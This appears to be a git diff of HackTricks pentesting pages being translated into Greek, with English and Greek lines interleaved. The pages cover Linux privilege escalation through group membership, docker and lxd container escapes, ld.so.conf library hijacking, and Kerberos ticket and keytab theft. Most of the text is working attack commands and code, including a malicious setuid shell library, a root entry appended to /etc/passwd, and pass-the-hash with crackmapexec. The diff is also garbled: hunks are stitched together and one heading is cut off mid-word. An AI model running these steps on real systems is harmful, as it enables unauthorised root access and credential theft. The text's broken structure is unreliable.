Ωστόσο, αν προσπαθήσετε να **γράψετε αρχεία που ανήκουν στον root** (όπως το `/etc/shadow` ή το `/etc/passwd`) θα λάβετε ένα σφάλμα "**Permission denied**".
## Video Group
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
Χρησιμοποιώντας την εντολή `w` μπορείτε να βρείτε **ποιος είναι συνδεδεμένος στο σύστημα** και θα εμφανίσει μια έξοδο όπως η παρακάτω:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
Το **tty1** σημαίνει ότι ο χρήστης **yossi είναι συνδεδεμένος φυσικά** σε ένα τερματικό στη μηχανή.
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
Η **ομάδα video** έχει πρόσβαση για να δει την έξοδο της οθόνης. Βασικά, μπορείτε να παρατηρήσετε τις οθόνες. Για να το κάνετε αυτό, πρέπει να **πάρτε την τρέχουσα εικόνα στην οθόνη** σε ακατέργαστα δεδομένα και να βρείτε την ανάλυση που χρησιμοποιεί η οθόνη. Τα δεδομένα της οθόνης μπορούν να αποθηκευτούν στο `/dev/fb0` και μπορείτε να βρείτε την ανάλυση αυτής της οθόνης στο `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**:
Για να **ανοίξετε** την **ακατέργαστη εικόνα** μπορείτε να χρησιμοποιήσετε το **GIMP**, να επιλέξετε το \*\*`screen.raw` \*\* αρχείο και να επιλέξετε ως τύπο αρχείου **Raw image data**:
![](<../../../images/image (463).png>)
Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen):
Στη συνέχεια, τροποποιήστε το Πλάτος και το Ύψος στις διαστάσεις που χρησιμοποιούνται στην οθόνη και ελέγξτε διαφορετικούς Τύπους Εικόνας (και επιλέξτε αυτόν που δείχνει καλύτερα την οθόνη):
![](<../../../images/image (317).png>)
## Root Group
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
**Check which files root members can modify**:
Φαίνεται ότι από προεπιλογή οι **μέλη της ομάδας root** θα μπορούσαν να έχουν πρόσβαση για **τροποποίηση** ορισμένων αρχείων ρυθμίσεων **υπηρεσιών** ή ορισμένων αρχείων **βιβλιοθηκών** ή **άλλων ενδιαφερόντων πραγμάτων** που θα μπορούσαν να χρησιμοποιηθούν για την κλιμάκωση δικαιωμάτων...
**Ελέγξτε ποια αρχεία μπορούν να τροποποιήσουν τα μέλη του root**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
## Docker Group
You can **mount the root filesystem of the host machine to an instances volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
Μπορείτε να **συνδέσετε το ριζικό σύστημα αρχείων της μηχανής φιλοξενίας σε έναν τόμο της παρουσίας**, έτσι ώστε όταν η παρουσία ξεκινά, να φορτώνει αμέσως ένα `chroot` σε αυτόν τον τόμο. Αυτό σας δίνει ουσιαστικά δικαιώματα root στη μηχανή.
```bash
docker image #Get images from the docker service
@ -232,14 +193,13 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
```
Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here:
Τέλος, αν δεν σας αρέσει καμία από τις προηγούμενες προτάσεις ή δεν λειτουργούν για κάποιο λόγο (docker api firewall;), μπορείτε πάντα να **τρέξετε ένα προνομιακό κοντέινερ και να διαφύγετε από αυτό** όπως εξηγείται εδώ:
{{#ref}}
../docker-security/
{{#endref}}
If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.**
Αν έχετε δικαιώματα εγγραφής πάνω στο docker socket διαβάστε [**αυτή την ανάρτηση σχετικά με το πώς να κλιμακώσετε τα προνόμια εκμεταλλευόμενοι το docker socket**](../#writable-docker-socket)**.**
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
@ -253,12 +213,12 @@ If you have write permissions over the docker socket read [**this post about how
## Adm Group
Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\
Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**.
Συνήθως οι **μέλη** της ομάδας **`adm`** έχουν δικαιώματα να **διαβάζουν** αρχεία καταγραφής που βρίσκονται μέσα στο _/var/log/_.\
Επομένως, αν έχετε παραβιάσει έναν χρήστη μέσα σε αυτή την ομάδα, θα πρέπει σίγουρα να ρίξετε μια **ματιά στα logs**.
## Auth group
Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\
These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
Μέσα στο OpenBSD, η **auth** ομάδα συνήθως μπορεί να γράφει στους φακέλους _**/etc/skey**_ και _**/var/db/yubikey**_ αν χρησιμοποιούνται.\
Αυτά τα δικαιώματα μπορεί να εκμεταλλευτούν με την παρακάτω εκμετάλλευση για να **κλιμακώσουν τα προνόμια** σε root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,14 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}}
If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
Αν ανήκετε στην ομάδα _**lxd**_ **ή** _**lxc**_, μπορείτε να γίνετε root
## Exploiting without internet
## Εκμετάλλευση χωρίς ίντερνετ
### Method 1
You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github):
### Μέθοδος 1
Μπορείτε να εγκαταστήσετε σε μηχανή σας αυτόν τον κατασκευαστή διανομών: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(ακολουθήστε τις οδηγίες του github):
```bash
sudo su
# Install requirements
@ -34,9 +33,7 @@ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
## Using build-lxc
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
```
Upload the files **lxd.tar.xz** and **rootfs.squashfs**, add the image to the repo and create a container:
Ανεβάστε τα αρχεία **lxd.tar.xz** και **rootfs.squashfs**, προσθέστε την εικόνα στο αποθετήριο και δημιουργήστε ένα κοντέινερ:
```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
@ -51,23 +48,19 @@ lxc list
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```
> [!CAUTION]
> If you find this error _**Error: No storage pool found. Please create a new storage pool**_\
> Run **`lxd init`** and **repeat** the previous chunk of commands
Finally you can execute the container and get root:
> Αν βρείτε αυτό το σφάλμα _**Σφάλμα: Δεν βρέθηκε πισίνα αποθήκευσης. Παρακαλώ δημιουργήστε μια νέα πισίνα αποθήκευσης**_\
> Εκτελέστε **`lxd init`** και **επαναλάβετε** το προηγούμενο κομμάτι εντολών
Τέλος, μπορείτε να εκτελέσετε το κοντέινερ και να αποκτήσετε δικαιώματα root:
```bash
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
### Μέθοδος 2
### Method 2
Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
Δημιουργήστε μια εικόνα Alpine και ξεκινήστε την χρησιμοποιώντας την επιλογή `security.privileged=true`, αναγκάζοντας το κοντέινερ να αλληλεπιδρά ως root με το σύστημα αρχείων του host.
```bash
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
@ -87,5 +80,4 @@ lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,82 +2,71 @@
{{#include ../../banners/hacktricks-training.md}}
## Prepare the environment
## Προετοιμάστε το περιβάλλον
In the following section you can find the code of the files we are going to use to prepare the environment
Στην παρακάτω ενότητα μπορείτε να βρείτε τον κώδικα των αρχείων που θα χρησιμοποιήσουμε για να προετοιμάσουμε το περιβάλλον
{{#tabs}}
{{#tab name="sharedvuln.c"}}
```c
#include <stdio.h>
#include "libcustom.h"
int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
```
{{#endtab}}
{{#tab name="libcustom.h"}}
```c
#include <stdio.h>
void vuln_func();
```
{{#endtab}}
{{#tab name="libcustom.c"}}
```c
#include <stdio.h>
void vuln_func()
{
puts("Hi");
puts("Hi");
}
```
{{#endtab}}
{{#endtabs}}
1. **Create** those files in your machine in the same folder
2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. **Copy** `libcustom.so` to `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs)
4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom`
1. **Δημιουργήστε** αυτά τα αρχεία στον υπολογιστή σας στον ίδιο φάκελο
2. **Συγκεντρώστε** τη **βιβλιοθήκη**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. **Αντιγράψτε** `libcustom.so` στο `/usr/lib`: `sudo cp libcustom.so /usr/lib` (δικαιώματα root)
4. **Συγκεντρώστε** το **εκτελέσιμο**: `gcc sharedvuln.c -o sharedvuln -lcustom`
### Check the environment
Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary.
### Ελέγξτε το περιβάλλον
Ελέγξτε ότι το _libcustom.so_ φορτώνεται από το _/usr/lib_ και ότι μπορείτε να **εκτελέσετε** το δυαδικό.
```
$ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
$ ./sharedvuln
Welcome to my amazing application!
Hi
```
## Exploit
In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_:
Σε αυτό το σενάριο θα υποθέσουμε ότι **κάποιος έχει δημιουργήσει μια ευάλωτη είσοδο** μέσα σε ένα αρχείο στο _/etc/ld.so.conf/_:
```bash
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
```
The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
**Download and compile** the following code inside that path:
Ο ευάλωτος φάκελος είναι _/home/ubuntu/lib_ (όπου έχουμε δικαίωμα εγγραφής).\
**Κατεβάστε και μεταγλωττίστε** τον παρακάτω κώδικα μέσα σε αυτόν τον φάκελο:
```c
//gcc -shared -o libcustom.so -fPIC libcustom.c
@ -86,27 +75,23 @@ The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
#include <sys/types.h>
void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}
```
Τώρα που έχουμε **δημιουργήσει τη κακόβουλη βιβλιοθήκη libcustom μέσα στο κακώς ρυθμισμένο** μονοπάτι, πρέπει να περιμένουμε για μια **επανεκκίνηση** ή για τον χρήστη root να εκτελέσει **`ldconfig`** (_σε περίπτωση που μπορείτε να εκτελέσετε αυτό το δυαδικό αρχείο ως **sudo** ή έχει το **suid bit** θα μπορείτε να το εκτελέσετε μόνοι σας_).
Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_).
Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from:
Μόλις συμβεί αυτό **ελέγξτε ξανά** από πού φορτώνει το εκτελέσιμο `sharevuln` τη βιβλιοθήκη `libcustom.so`:
```c
$ldd sharedvuln
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
```
As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed:
Όπως μπορείτε να δείτε, **το φορτώνει από το `/home/ubuntu/lib`** και αν οποιοσδήποτε χρήστης το εκτελέσει, θα εκτελεστεί ένα shell:
```c
$ ./sharedvuln
Welcome to my amazing application!
@ -114,40 +99,26 @@ I'm the bad library
$ whoami
ubuntu
```
> [!NOTE]
> Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges.
### Other misconfigurations - Same vuln
In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\
But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it.
## Exploit 2
**Suppose you have sudo privileges over `ldconfig`**.\
You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\
So, lets create the files and folders needed to load "/tmp":
> Σημειώστε ότι σε αυτό το παράδειγμα δεν έχουμε κλιμακώσει τα δικαιώματα, αλλά τροποποιώντας τις εντολές που εκτελούνται και **περιμένοντας τον root ή άλλο χρήστη με δικαιώματα να εκτελέσει το ευάλωτο δυαδικό αρχείο** θα μπορέσουμε να κλιμακώσουμε τα δικαιώματα.
### Άλλες κακές ρυθμί
```bash
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
```
Now, as indicated in the **previous exploit**, **create the malicious library inside `/tmp`**.\
And finally, lets load the path and check where is the binary loading the library from:
Τώρα, όπως υποδεικνύεται στην **προηγούμενη εκμετάλλευση**, **δημιουργήστε τη κακόβουλη βιβλιοθήκη μέσα στο `/tmp`**.\
Και τέλος, ας φορτώσουμε τη διαδρομή και να ελέγξουμε από πού φορτώνει η δυαδική βιβλιοθήκη:
```bash
ldconfig -f fake.ld.so.conf
ldd sharedvuln
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
```
**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.**
**Όπως μπορείτε να δείτε, έχοντας δικαιώματα sudo πάνω στο `ldconfig` μπορείτε να εκμεταλλευτείτε την ίδια ευπάθεια.**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,19 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
{% embed url="https://websec.nl/" %}
Ένα μηχάνημα linux μπορεί επίσης να είναι παρόν σε ένα περιβάλλον Active Directory.
A linux machine can also be present inside an Active Directory environment.
A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine.
Ένα μηχάνημα linux σε ένα AD μπορεί να **αποθηκεύει διάφορα CCACHE tickets μέσα σε αρχεία. Αυτά τα tickets μπορούν να χρησιμοποιηθούν και να καταχραστούν όπως οποιοδήποτε άλλο kerberos ticket**. Για να διαβάσετε αυτά τα tickets θα χρειαστεί να είστε ο χρήστης κάτοχος του ticket ή **root** μέσα στο μηχάνημα.
## Enumeration
### AD enumeration from linux
### AD enumeration από linux
If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD.
Αν έχετε πρόσβαση σε ένα AD σε linux (ή bash σε Windows) μπορείτε να δοκιμάσετε [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) για να καταγράψετε το AD.
You can also check the following page to learn **other ways to enumerate AD from linux**:
Μπορείτε επίσης να ελέγξετε την παρακάτω σελίδα για να μάθετε **άλλους τρόπους για να καταγράψετε το AD από linux**:
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -22,28 +20,27 @@ You can also check the following page to learn **other ways to enumerate AD from
### FreeIPA
FreeIPA is an open-source **alternative** to Microsoft Windows **Active Directory**, mainly for **Unix** environments. It combines a complete **LDAP directory** with an MIT **Kerberos** Key Distribution Center for management akin to Active Directory. Utilizing the Dogtag **Certificate System** for CA & RA certificate management, it supports **multi-factor** authentication, including smartcards. SSSD is integrated for Unix authentication processes. Learn more about it in:
Το FreeIPA είναι μια ανοιχτού κώδικα **εναλλακτική** λύση για το Microsoft Windows **Active Directory**, κυρίως για **Unix** περιβάλλοντα. Συνδυάζει έναν πλήρη **LDAP directory** με ένα MIT **Kerberos** Key Distribution Center για διαχείριση παρόμοια με το Active Directory. Χρησιμοποιεί το Dogtag **Certificate System** για τη διαχείριση πιστοποιητικών CA & RA, υποστηρίζει **multi-factor** authentication, συμπεριλαμβανομένων των smartcards. Το SSSD είναι ενσωματωμένο για διαδικασίες αυθεντικοποίησης Unix. Μάθετε περισσότερα γι' αυτό στην:
{{#ref}}
../freeipa-pentesting.md
{{#endref}}
## Playing with tickets
## Παίζοντας με τα tickets
### Pass The Ticket
In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack:
Σε αυτή τη σελίδα θα βρείτε διάφορες τοποθεσίες όπου μπορείτε να **βρείτε kerberos tickets μέσα σε έναν linux host**, στην επόμενη σελίδα μπορείτε να μάθετε πώς να μετατρέψετε αυτά τα CCache ticket formats σε Kirbi (τη μορφή που χρειάζεστε να χρησιμοποιήσετε σε Windows) και επίσης πώς να εκτελέσετε μια επίθεση PTT:
{{#ref}}
../../windows-hardening/active-directory-methodology/pass-the-ticket.md
{{#endref}}
### CCACHE ticket reuse from /tmp
### CCACHE ticket reuse από /tmp
CCACHE files are binary formats for **storing Kerberos credentials** are typically stored with 600 permissions in `/tmp`. These files can be identified by their **name format, `krb5cc_%{uid}`,** correlating to the user's UID. For authentication ticket verification, the **environment variable `KRB5CCNAME`** should be set to the path of the desired ticket file, enabling its reuse.
List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.
Τα αρχεία CCACHE είναι δυαδικές μορφές για **αποθήκευση Kerberos credentials** και συνήθως αποθηκεύονται με δικαιώματα 600 στο `/tmp`. Αυτά τα αρχεία μπορούν να αναγνωριστούν από τη **μορφή ονόματος τους, `krb5cc_%{uid}`,** που σχετίζεται με το UID του χρήστη. Για την επαλήθευση του ticket αυθεντικοποίησης, η **μεταβλητή περιβάλλοντος `KRB5CCNAME`** θα πρέπει να οριστεί στο μονοπάτι του επιθυμητού αρχείου ticket, επιτρέποντας την επαναχρησιμοποίησή του.
Καταγράψτε το τρέχον ticket που χρησιμοποιείται για αυθεντικοποίηση με `env | grep KRB5CCNAME`. Η μορφή είναι φορητή και το ticket μπορεί να **επανχρησιμοποιηθεί ορίζοντας τη μεταβλητή περιβάλλοντος** με `export KRB5CCNAME=/tmp/ticket.ccache`. Η μορφή ονόματος του kerberos ticket είναι `krb5cc_%{uid}` όπου uid είναι το UID του χρήστη.
```bash
# Find tickets
ls /tmp/ | grep krb5cc
@ -52,79 +49,62 @@ krb5cc_1000
# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000
```
### CCACHE ticket reuse from keyring
**Kerberos tickets stored in a process's memory can be extracted**, particularly when the machine's ptrace protection is disabled (`/proc/sys/kernel/yama/ptrace_scope`). A useful tool for this purpose is found at [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), which facilitates the extraction by injecting into sessions and dumping tickets into `/tmp`.
To configure and use this tool, the steps below are followed:
**Τα αποθηκευμένα Kerberos tickets στη μνήμη μιας διαδικασίας μπορούν να εξαχθούν**, ιδιαίτερα όταν η προστασία ptrace της μηχανής είναι απενεργοποιημένη (`/proc/sys/kernel/yama/ptrace_scope`). Ένα χρήσιμο εργαλείο για αυτόν τον σκοπό βρίσκεται στο [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), το οποίο διευκολύνει την εξαγωγή με την ένεση σε συνεδρίες και την εκφόρτωση των tickets στο `/tmp`.
Για να ρυθμίσετε και να χρησιμοποιήσετε αυτό το εργαλείο, ακολουθούνται τα παρακάτω βήματα:
```bash
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
/tmp/tickey -i
```
Αυτή η διαδικασία θα προσπαθήσει να εισάγει σε διάφορες συνεδρίες, υποδεικνύοντας επιτυχία αποθηκεύοντας τα εξαγόμενα εισιτήρια στο `/tmp` με μια ονοματολογία `__krb_UID.ccache`.
This procedure will attempt to inject into various sessions, indicating success by storing extracted tickets in `/tmp` with a naming convention of `__krb_UID.ccache`.
### CCACHE ticket reuse από SSSD KCM
### CCACHE ticket reuse from SSSD KCM
SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions.
Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**.
Το SSSD διατηρεί ένα αντίγραφο της βάσης δεδομένων στη διαδρομή `/var/lib/sss/secrets/secrets.ldb`. Το αντίστοιχο κλειδί αποθηκεύεται ως κρυφό αρχείο στη διαδρομή `/var/lib/sss/secrets/.secrets.mkey`. Από προεπιλογή, το κλειδί είναι αναγνώσιμο μόνο αν έχετε δικαιώματα **root**.
Η κλήση \*\*`SSSDKCMExtractor` \*\* με τις παραμέτρους --database και --key θα αναλύσει τη βάση δεδομένων και θα **αποκρυπτογραφήσει τα μυστικά**.
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
Ο **κάδος κωδικών πρόσβασης Kerberos μπορεί να μετατραπεί σε ένα χρησιμοποιήσιμο αρχείο Kerberos CCache** που μπορεί να περαστεί σε Mimikatz/Rubeus.
The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus.
### CCACHE ticket reuse from keytab
### Επαναχρησιμοποίηση εισιτηρίου CCACHE από keytab
```bash
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```
### Εξαγωγή λογαριασμών από το /etc/krb5.keytab
### Extract accounts from /etc/krb5.keytab
Service account keys, essential for services operating with root privileges, are securely stored in **`/etc/krb5.keytab`** files. These keys, akin to passwords for services, demand strict confidentiality.
To inspect the keytab file's contents, **`klist`** can be employed. The tool is designed to display key details, including the **NT Hash** for user authentication, particularly when the key type is identified as 23.
Τα κλειδιά λογαριασμού υπηρεσίας, που είναι απαραίτητα για υπηρεσίες που λειτουργούν με δικαιώματα root, αποθηκεύονται με ασφάλεια στα αρχεία **`/etc/krb5.keytab`**. Αυτά τα κλειδιά, παρόμοια με τους κωδικούς πρόσβασης για υπηρεσίες, απαιτούν αυστηρή εμπιστευτικότητα.
Για να ελέγξετε το περιεχόμενο του αρχείου keytab, μπορεί να χρησιμοποιηθεί το **`klist`**. Το εργαλείο είναι σχεδιασμένο να εμφανίζει λεπτομέρειες κλειδιών, συμπεριλαμβανομένου του **NT Hash** για την αυθεντικοποίηση χρηστών, ιδιαίτερα όταν ο τύπος κλειδιού αναγνωρίζεται ως 23.
```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash
```
For Linux users, **`KeyTabExtract`** offers functionality to extract the RC4 HMAC hash, which can be leveraged for NTLM hash reuse.
Για τους χρήστες Linux, **`KeyTabExtract`** προσφέρει λειτουργικότητα για την εξαγωγή του RC4 HMAC hash, το οποίο μπορεί να χρησιμοποιηθεί για την επαναχρησιμοποίηση του NTLM hash.
```bash
python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability
```
On macOS, **`bifrost`** serves as a tool for keytab file analysis.
Στο macOS, **`bifrost`** χρησιμεύει ως εργαλείο για την ανάλυση αρχείων keytab.
```bash
./bifrost -action dump -source keytab -path /path/to/your/file
```
Utilizing the extracted account and hash information, connections to servers can be established using tools like **`crackmapexec`**.
Χρησιμοποιώντας τις εξαγόμενες πληροφορίες λογαριασμού και κατακερματισμού, μπορούν να δημιουργηθούν συνδέσεις με διακομιστές χρησιμοποιώντας εργαλεία όπως το **`crackmapexec`**.
```bash
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
```
## References
## Αναφορές
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

File diff suppressed because it is too large Load Diff

View File

@ -2,59 +2,55 @@
## Logstash
Logstash is used to **gather, transform, and dispatch logs** through a system known as **pipelines**. These pipelines are made up of **input**, **filter**, and **output** stages. An interesting aspect arises when Logstash operates on a compromised machine.
Το Logstash χρησιμοποιείται για να **συγκεντρώνει, μετασχηματίζει και αποστέλλει αρχεία καταγραφής** μέσω ενός συστήματος που ονομάζεται **pipelines**. Αυτές οι pipelines αποτελούνται από στάδια **input**, **filter** και **output**. Ένα ενδιαφέρον στοιχείο προκύπτει όταν το Logstash λειτουργεί σε μια παραβιασμένη μηχανή.
### Pipeline Configuration
Pipelines are configured in the file **/etc/logstash/pipelines.yml**, which lists the locations of the pipeline configurations:
Οι pipelines ρυθμίζονται στο αρχείο **/etc/logstash/pipelines.yml**, το οποίο απαριθμεί τις τοποθεσίες των ρυθμίσεων των pipelines:
```yaml
# Define your pipelines here. Multiple pipelines can be defined.
# For details on multiple pipelines, refer to the documentation:
# https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html
- pipeline.id: main
path.config: "/etc/logstash/conf.d/*.conf"
path.config: "/etc/logstash/conf.d/*.conf"
- pipeline.id: example
path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6
path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6
```
This file reveals where the **.conf** files, containing pipeline configurations, are located. When employing an **Elasticsearch output module**, it's common for **pipelines** to include **Elasticsearch credentials**, which often possess extensive privileges due to Logstash's need to write data to Elasticsearch. Wildcards in configuration paths allow Logstash to execute all matching pipelines in the designated directory.
Αυτό το αρχείο αποκαλύπτει πού βρίσκονται τα **.conf** αρχεία, που περιέχουν ρυθμίσεις pipeline. Όταν χρησιμοποιείται ένα **Elasticsearch output module**, είναι συνηθισμένο τα **pipelines** να περιλαμβάνουν **Elasticsearch credentials**, οι οποίες συχνά διαθέτουν εκτενή δικαιώματα λόγω της ανάγκης του Logstash να γράφει δεδομένα στο Elasticsearch. Οι χαρακτήρες μπαλαντέρ στις διαδρομές ρύθμισης επιτρέπουν στο Logstash να εκτελεί όλα τα αντίστοιχα pipelines στον καθορισμένο φάκελο.
### Privilege Escalation via Writable Pipelines
To attempt privilege escalation, first identify the user under which the Logstash service is running, typically the **logstash** user. Ensure you meet **one** of these criteria:
